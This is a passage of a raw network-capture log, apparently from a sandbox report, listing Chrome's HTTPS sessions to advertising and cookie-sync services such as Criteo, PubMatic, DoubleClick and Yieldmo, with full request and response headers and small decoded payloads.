2024-04-27 22:42:11 UTC	858	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:10 GMT content-type: text/plain; charset=utf8 content-length: 0 expires: Sat, 26 Jul 1997 05:00:00 GMT cache-control: no-cache, no-store, private p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" pragma: no-cache tcn: Choice vary: negotiate,Accept-Encoding x-go-server: go-iad-2-5-99 x-xss-protection: 0 location: https://contextual.media.net/cksync.php?cs=8&vsid=3572593249104590000V10&type=son&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=2d729954-b637-472c-acf0-d931fcda5d4a set-cookie: __uis=2d729954-b637-472c-acf0-d931fcda5d4a; expires=Mon, 27 May 2024 22:42:10 GMT; domain=.go.sonobi.com; path=/; secure; SameSite=None set-cookie: HAPLB8G=s8599\|Zi1/R; path=/; domain=.go.sonobi.com; SameSite=none; Secure server: sonobi-go connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	50153	74.119.117.17	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	608	OUT	GET /sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	317	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 date: Sat, 27 Apr 2024 22:42:10 GMT server: Kestrel cache-control: private, max-age=3600 expires: 60 transfer-encoding: chunked server-processing-duration-in-ticks: 256624 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-27 22:42:11 UTC	72	IN	Data Raw: 33 44 0d 0a 77 69 6e 64 6f 77 2e 61 64 76 42 69 64 78 63 2e 6d 6e 65 74 52 74 75 73 49 64 28 7b 22 73 74 61 74 75 73 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 75 73 65 72 69 64 22 3a 22 22 7d 29 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 3Dwindow.advBidxc.mnetRtusId({"status":"Unknown","userid":""});0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	50155	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	673	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=45333149&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	887	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=1; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=133799:2; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Sat, 27 Apr 2024 22:42:11 GMT Transfer-Encoding: chunked Connection: close
2024-04-27 22:42:11 UTC	2414	IN	Data Raw: 39 36 32 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 6d 65 62 26 67 6f 6f 67 6c 65 5f 73 63 3d 31 26 67 6f 6f 67 6c 65 5f 68 6d 3d 37 6e 74 5a 5f 70 32 76 51 56 32 70 50 48 72 30 67 43 44 64 65 77 25 33 44 25 33 44 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 37 35 31 34 35 3f 62 69 64 64 65 72 5f 69 64 3d 31 39 35 37 35 35 26 62 69 64 64 65 72 5f 75 75 69 64 3d 45 45 37 42 35 39 46 45 Data Ascii: 962PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=7ntZ_p2vQV2pPHr0gCDdew%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=EE7B59FE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	50146	52.85.132.68	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	731	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=1980923529&pcid=786797b7-bf38-456a-a874-4aad6fb5186b HTTP/1.1 Host: sync.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	1033	IN	HTTP/1.1 302 Content-Type: image/gif Content-Length: 43 Connection: close Date: Sat, 27 Apr 2024 22:42:10 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:10 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Location: https://sync1.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=1980923529&pcid=786797b7-bf38-456a-a874-4aad6fb5186b&ckls=true&ci=4GVRYAeKgB&nc=false&trid=-2008873581 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Patent: https://www.almondnet.com/ip Set-Cookie: intentIQ=4GVRYAeKgB; Domain=.intentiq.com; Expires=Mon, 27 Apr 2026 22:42:10 GMT; Path=/; Secure; SameSite=None X-Cache: Miss from cloudfront Via: 1.1 07b0e28d0c589c8a26610bbc5dcd660a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD50-C2 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: nFO1N2UJaL24z1l6tWvBbm0BQjGjTc20MM2KONfjDqhXckUlpRBG9Q==
2024-04-27 22:42:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	50170	74.119.117.16	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	787	OUT	GET /dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA&gpp_sid=-1&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	705	IN	HTTP/1.1 302 Found content-length: 0 date: Sat, 27 Apr 2024 22:42:10 GMT server: Kestrel cache-control: no-cache expires: Sat, 27 Apr 2024 00:00:00 GMT location: https://contextual.media.net/cksync.php?cs=1&type=crt&ovsid=3a1484ea-90ac-4bdd-895c-934bad280353&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA pragma: no-cache set-cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353; expires=Thu, 22 May 2025 22:42:10 GMT; domain=.criteo.com; path=/; secure; samesite=none x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 2741987 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	50176	3.209.150.107	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	1116	OUT	GET /v000/t_tkr/ev?type=dl&dltime=0&fver=90&imp=1121930830413873533&plid=3494600134447014563&pvid=3526568451959556956&fmtid=90&e=11&offsetX=999999&offsetY=999999&pvt=1714257719710&stime=1714257729338&etime=1714257729339&viewportHeight=984&viewportWidth=1280&adSlotLeft=-998112%2C-999048&adSlotRight=-997862%2C-998748 HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
2024-04-27 22:42:11 UTC	487	IN	HTTP/1.1 204 Date: Sat, 27 Apr 2024 22:42:11 GMT Connection: close Access-Control-Allow-Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: GET Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	50173	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	889	OUT	GET /beacon/prebid-server/?&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: ce.lijit.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	701	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 0 Connection: close Set-Cookie: ljt_reader=IkESATZH81_FapvzRxGQQ8ru; Path=/; Domain=.lijit.com; Expires=Sun, 27-Apr-2025 22:42:11 GMT; Max-Age=31536000;Secure;SameSite=None Expires: Fri, 20 Mar 2009 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Location: https://ce.lijit.com/beacon/prebid-server/?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID&dnr=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.4	50177	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	3389	OUT	GET /pcs/view?xai=AKAOjssFeWijijYeVrDHQsE9uLngcGqKqeI2iQFWdDJP_eHrGB56SP0qfSER0N5j4QbilWniOJfOWNnDfox8KWxFCRMn00Y3TOuLuvmNEXYkDiXclcpZ8qQg7azfQHv6Att5lPM52FUdwxZJW2P0UtPMjaklC_lQjp9iVilcuPj86bor7AO_y3v884_mPFNG3SIvT1t85MzzhMelAToWwJOLECfPJ-goxrJ-pdYtUY8RDe42Guf1JxxYS3SQoTp4qMivlWbj2QyK-tzUyNQcDMC0mlMg1iPrkNZdM1bCbnuyWRYBI1sqXn69qNkdQzv2PBav6ZIT_Ze9ONBHPf5uWl5DEKwRBkMSTfZiFWAXVcNpuMRx_pOfygDjVt8sBZcK44tOEchqD_GQo_UapZl8nzSY5IwaC21HGkZIq86X3ccnsYT9b3pjA8OX7kwOXkZnS6jM4LQNy16_Jbou74XJqrzjQTSIzczedunRDgDKx79vI_P93lcu9tEEiY028JCk57MBw_oe9KtHb3rWjHTJ8brtpmd4enrSO8S0dcweDPYUNPBF0KOzaDyvR3yUKBXvGAcfhmRA4R9-BXjMmOvn9W7ohq1sxV9whApZMwrwaauUrOx4LTF5zdBXVfN-IBTBfiERcw8VeHljQ9JTDYphPRAgRZX6juPu_3oiZilE5xnAF5bAI28cthrTgtaW-wtKS9W2GyDjf_XUHRE8eHhxv9a4idSD7yVtZCMRbCv0yn79MneB4skCwsjQ6q5auNe8rrp2tNBXB-rO7MymHa8XA-PF4HcnREy5d1NsY2cElnDR4dJWHiBcTyuHN-kFmhrbMIOJW6oF6c4dLZ99XU9kBy-BojfQDKe1eUVtmgy0S_tlyTlB6mIrZRkgjJ7INLUwZMhga1yeEmpiDBBRRXT9T8lQvuxqi8y9fOxQrFy86TpvCJh9_YkFxfF2GbST5AwbaGNxKm2fGdewb5_lFiu4wAoBDbVN93KNpJ34_wFEByeY-0 [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Attribution-Reporting-Eligible: event-source, not-navigation-source Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	1532	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/png Attribution-Reporting-Register-Source: {"aggregation_keys":{"12":"0xbd2934437e4075f30000000000000000","13":"0xe458650f9c7afac90000000000000000","14":"0xd678179ff220c21b0000000000000000","15":"0x573eec6eec7553060000000000000000"},"debug_key":"17279287649724603858","debug_reporting":true,"destination":["https://curi.com","https://constellationmutual.com","https://debugconversiondomain1.com"],"event_report_window":"345600","expiry":"2592000","filter_data":{"14":["12759491","12761312"],"21":[],"8":["12017028"]},"priority":"0","source_event_id":"12495288193659906479"} X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:11 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Mon, 27-May-2024 22:42:11 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Sat, 27 Apr 2024 22:42:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.4	50172	99.84.191.54	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	762	OUT	GET /track/rid?ttd_pid=yieldmo&fmt=json HTTP/1.1 Host: matchadsrvr.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169
2024-04-27 22:42:11 UTC	587	IN	HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Date: Sat, 27 Apr 2024 22:42:12 GMT Access-Control-Allow-Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true Location: https://match.adsrvr.org/track/rid?ttd_pid=yieldmo&fmt=json Server: AmazonS3 Vary: Origin X-Cache: Miss from cloudfront Via: 1.1 40adc3dc2f5b304254d63ab3859fedd2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C2 X-Amz-Cf-Id: 5as3XVcq6Oa-2q_593QRftA9Qq3IBg09MWrfOzWjx7WCCaw3A4IZsg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.4	50157	54.165.249.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	796	OUT	GET /ping_match.gif?ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Ddxu%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	758	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Sat, 27 Apr 2024 22:42:10 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://pm.w55c.net/ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Ddxu%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ Pragma: no-cache Server: PingMatch/v2.0.30-801-g0076fb7#rel-ec2-master i-0dda4b893020d6619@us-east-1d@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=o2ksvWLN1S0QKf5; Domain=.w55c.net; Expires=Wed, 28 May 2025 08:42:11 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.4	50168	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	800	OUT	GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	1054	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:10 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Sun, 27 Apr 2025 22:42:10 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.1rx.io/usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1714257730544 etag: RX915945b26af349759839febe73c73a74005 connection: close
2024-04-27 22:42:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.4	50174	3.91.171.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	711	OUT	OPTIONS / HTTP/1.1 Host: kinesis.us-east-1.amazonaws.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization,cache-control,content-type,pragma,x-amz-content-sha256,x-amz-date,x-amz-target,x-amz-user-agent Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	510	IN	HTTP/1.1 200 OK x-amzn-RequestId: fb98cba1-0540-9c6c-a53f-4a224a9b2d5a Access-Control-Allow-Origin: * Access-Control-Allow-Headers: authorization,cache-control,content-type,pragma,x-amz-content-sha256,x-amz-date,x-amz-target,x-amz-user-agent Access-Control-Allow-Methods: POST Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amz-request-id,x-amz-id-2,x-amzn-ErrorMessage,Date Access-Control-Max-Age: 172800 Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.4	50175	3.91.171.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	711	OUT	OPTIONS / HTTP/1.1 Host: kinesis.us-east-1.amazonaws.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization,cache-control,content-type,pragma,x-amz-content-sha256,x-amz-date,x-amz-target,x-amz-user-agent Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
